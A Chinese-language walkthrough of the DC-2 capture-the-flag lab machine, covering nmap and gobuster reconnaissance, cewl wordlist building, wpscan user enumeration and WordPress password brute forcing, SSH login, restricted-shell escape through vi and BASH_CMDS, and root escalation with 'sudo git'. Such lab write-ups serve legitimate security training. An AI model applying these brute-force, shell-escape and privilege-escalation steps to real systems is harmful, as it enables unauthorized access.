dc-2打靶日记
1. nmap扫描
1.1 确定目标IP地址
根据开关靶机确定目标机器的ip地址
根据两次存活主机排查可以知道靶场的IP是192.168.31.105
1.2 端口扫描
- 开放端口扫描
nmap -sT –min-rate 10000 -p- 192.168.31.105 -oA nmapscan/dc-2ports
-sT
: 使用tcp三次握手的过程进行探测端口是否开放(相对较慢,但相对准确);
-sS
: 默认扫描方式,通过syn标志位进行检测连接是否开放(容易被防火墙挡住);
-oA
:以全格式保存在后续的地址文件中,以三种不同的后缀文件名保存;
--min-rate
: 指定扫描的速度,在正式的护网中要比10000还慢;
-p
:指定扫描端口,-p-
指的是从1到65535端口
可以看到打开的端口数量为2个,分别为80,7744
- 开放端口详细扫描
sudo nmap -sT -sV -sC -O -p80,7744 192.168.31.105 -oA nmapscan/portsdetail
-sV
:扫描提供服务的版本
-sC
:用默认的脚本进行扫描
-O
:扫描操作系统的版本
根据开放端口的详细信息可以知道
端口7744
服务:ssh 版本:OpenSSH 6.7p1Debian 5+deb8u7 (protocol 2.0)
端口80
服务:http Apache httpd 2.4.10 ((Debian))
其他就没有扫出太多的信息,包括一些目录什么的也没有;
2. gobuster目录爆破
由于在端口搜索的时候发现的东西并不太多,所以我们通过目录爆破尝试获取一些其他信息;
sudo gobuster dir -u http://192.168.31.105 –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
目录爆破完成,对所有网页进行访问
这是唯一一个能够访问的界面,其他两个并不能够访问,也获取不到什么有用的信息。通过这个界面也获取不到什么非常有用的东西,尝试。
3. 重定向修改访问
由于每次访问靶机ip地址都会被重定向到域名dc-2,所以应该是做了重定向处理,我们对本机的host文件进行修改,尝试定位会源靶机主页。
想host文件添加以下内容后,在对192.168.31.105
进行访问,可得其正确访问主页
192.168.31.105 dc-2
访问到主页后根据指纹工具的识别可以得出其技术构成等信息
可以得到的信息有
WordPress 4.7.10
php语言
Mysql数据库
jQuery Migrate 1.4.1
jQuery 1.12.4
4. WordPress漏洞
根据上述得到的信息可以进行CMS的漏洞搜索和尝试获取shell,使用Metasploit工具搜索器漏洞,印象中这个CMS漏洞特别多
msfconsole
search wordpress
可见确实有特别多,但是有些我们并没有利用条件
例如,下面这个,我们并没有订阅的用户名和密码
又例如这个,我们所有条件都满足但是却没法成功利用的
尝试多个,也没法成功利用
5. flag 1
对于刚才进入的主页,仔细观察可以发现下面有个flag
标签,应该对应着什么信息。
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
解释:
你常用的字典可能不会起作用,因此,可能你需要cewl
更多密码肯定会更好,但是有时并不能获得所有的密码
作为一个用户去登录查看下一个flag
如果不能看到flag,那就登录另一个用户
通过百度查询以下cewl
的使用方法,得出以下内容:Kali Linux字典生成工具Cewl使用全指南 - FreeBuf网络安全行业门户
ewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
帮助命令:cewl -h
默认方法:cewl http://www.ignitetechnologies.in/
保存字典文件:cewl http://www.ignitetechnologies.in/ -w dict.txt
我们尝试通过最基本的命令进行字典的获取,由于ip地址被重定向了,通过域名访问即可得到相应爬虫字典
cewl http://dc-2 -w cewlDict.txt
根据cewl的介绍我们可以知道,这大概率是密码字典,有了密码我们还需要找相应的账号和登录界面
之前的目录爆破结果得到的目录有,此前是因为ip地址重定向导致了网页无法访问,现在我们应该修改了相应的地址,应该可以正常访问
/wp-content
/wp-includes
/wp-admin
/wp-content
目录依旧无法进入,/wp-admin
目录进入后跳转到登录界面,那么现在我们的问题就只剩下寻找用户名了。
6. wpscan扫描
WPScan
是一个扫描WordPress
漏洞的黑盒子扫描器,它可以为所有Web
开发人员扫描WordPress
漏洞并在他们开发前找到并解决问题。我们还使用了Nikto
,它是一款非常棒的Web
服务器评估工具,我们认为这个工具应该成为所有针对WordPress
网站进行的渗透测试的一部分
6.1 wpscan扫描wordpress有效用户
通过扫描在wordpress中有效的用户,确定用户的用户名,从而使用密码字典进行爆破
wpscan –url http://dc-2/ -e u
将用户名保存在相应字典中,继续使用wpscan爆破用户名和密码
6.2 爆破用户名密码
使用获取到的用户名字典和密码字典进行爆破,获取可登录账户
wpscan –url http://dc-2/ -U usersname.txt -P cewlDict.txt
可以看到成功爆破出两个用户名的密码,通过使用这两个用户名登录系统
jerry / adipiscing
tom / parturient
两个用户名和密码均成功登录管理系统,在这里可以获得的信息是这个wordpress CMS的版本是6.5.3
7. flag2
在jerry的pages栏下发现了flag2,简单查看一下flag2的内容;
解释:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
它似乎想告诉我们可能利用wordpress的路径是实现不了的,这也就验证了上述通过metasploit利用wordpress漏洞行不通的原因了
8. ssh连接
我们获得了两个账号密码,可以尝试使用他们连接服务器呀,服务器的端口改成了7744,但是开启的依旧是ssh服务
- jerry账号登录,三次都无法成功,可以排除密码输入错误的情况
tom账号登录,成功登录
查看当前目录发现有flag3
尝试读取flag3,发现没有cat命令,应该是命令限制
查看能够使用的命令
compgen -c //查看可以使用的指令
发现可使用的命令中有
vi
,直接使用vi打开flag3.txt查看其内容vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
根据flag3的内容可以知道,tom权限不足,应该去提升权限到root
9. 提权
根据上述查询到的信息可知,我们能够使用的命令有以下命令,通过以下命令进行提权操作;
if
then
else
elif
fi
case
esac
for
select
while
until
do
done
in
function
time
{
}
!
[[
]]
coproc
__expand_tilde_by_ref__get_cword_at_cursor_by_ref
__git_eread__git_ps1
__git_ps1_colorize_gitstring__git_ps1_show_upstream
__grub_dir__grub_get_last_option
__grub_get_options_from_help__grub_get_options_from_usage
__grub_list_menuentries__grub_list_modules
__grubcomp__ltrim_colon_completions
__parse_options__reassemble_comp_words_by_ref
_a2disconf
_a2dismod
_a2dissite
_a2enconf
_a2enmod
_a2ensite
_allowed_groups
_allowed_users
_apache2_allcomp
_apache2_conf
_apache2_mods
_apache2_sites
_available_interfaces
_cd
_cd_devices
_command
_command_offset
_complete_as_root
_completion_loader
_configured_interfaces
_count_args
_debconf_show
_dvd_devices
_expand
_filedir
_filedir_xspec
_fstypes
_get_comp_words_by_ref
_get_cword
_get_first_arg
_get_pword
_gids
_grub_editenv
_grub_install
_grub_mkconfig
_grub_mkfont
_grub_mkimage
_grub_mkpasswd_pbkdf2
_grub_mkrescue
_grub_probe
_grub_script_check
_grub_set_entry
_grub_setup
_have
_init_completion
_insserv
_installed_modules
_ip_addresses
_kernel_versions
_known_hosts
_known_hosts_real
_longopt
_mac_addresses
_minimal
_modules
_ncpus
_parse_help
_parse_usage
_pci_ids
_pgids
_pids
_pnames
_pygmentize
_quote_readline_by_ref
_realcommand
_rl_enabled
_root_command
_service
_services
_shells
_signals
_split_longopt
_sysvdirs
_terms
_tilde
_uids
_update_initramfs
_upvar
_upvars
_usb_ids
_user_at_host
_usergroup
_userland
_variables
_xfunc
_xinetd_services
dequote
quote
quote_readline
.
:
[
alias
bg
bind
break
builtin
caller
cd
command
compgen
complete
compopt
continue
declare
dirs
disown
echo
enable
eval
exec
exit
export
false
fc
fg
getopts
hash
help
history
jobs
kill
let
local
logout
mapfile
popd
printf
pushd
pwd
read
readarray
readonly
return
set
shift
shopt
source
suspend
test
times
trap
true
type
typeset
ulimit
umask
unalias
unset
wait
less
scp
ls
vi
根据网络查询到的资料可以得知,vim编译器是可以实现提权的,照例来说,vi和vim相似,可以尝试
使用vi
命令随便打开一个文件,然后以保存关闭文件类似的方式输入以下命令
:set shell=/bin/sh
:shell
可见虽然没有实现完全提权,但已经实现了部分提权,能够访问jerry和tom文件夹了
进入jerry文件夹,发现这里存在flag4.txt文件
访问flag4.txt文件可以看到
Good to see that you’ve made it this far - but you’re not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you’re on your own now. :-)
Go on - git outta here!!!!
这个flag告诉我们,我们还没有home,我们仍然需要去找到最后一个flag,继续提权
通过网络查询找到一个绕过rbash的方式,通过设置环境变量绕过rbash
什么是 RBASH
- RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。
- RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:
- 不能使用 cd 命令来改变当前目录。
- 不能使用 set 命令来改变环境变量或 shell 选项。
- 不能使用 unset 命令来取消环境变量或 shell 函数。
- 不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。
- 不能重定向输入或输出,例如使用 >, <, >>, << 等符号。
- 只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。
- RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
通过设置环境变量,再次查看能够使用的命令可知,已经成功绕过了rbash;
但是通过尝试执行提权可知,依旧没有root权限,继续提权,寻找能够提权的指令进行提权
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/bin/umount
/bin/mount
/bin/su
You have mail in /var/mail/tom
发现并没有什么文件可以使用,参考别人的打靶文章,知道应该要换用户,在flag3的地方已经进行了提示
所以我们这里切换到jerry账号,查看sudo配置文件sudo -l
发现git命令是root权限的,刚才我们通过网页搜索的时候也看到过git命令提权的方法
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !’sh’ #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
通过find命令运行最后一个flag
find / -name *flag*
好了,那么dc-2也就到此结束咯
10.总结
在这个靶场学到的技能还是相当多的,以下是一部分
- ip地址重定向,可通过修改hosts文件绕过
- cewl爬虫获取网页的密码字典
- wordpress存在wpscan工具进行存活用户名扫描以及管理系统的账户密码爆破
- compgen -c可以查看可执行命令
- 有一些已知的用户名和密码可以用来尝试连接ssh(如果服务开放的话)
- 可以通过一些已知的命令进行提权典型的命令有nmap、vim、find、bash、more、less、nano、cp、git、vi等等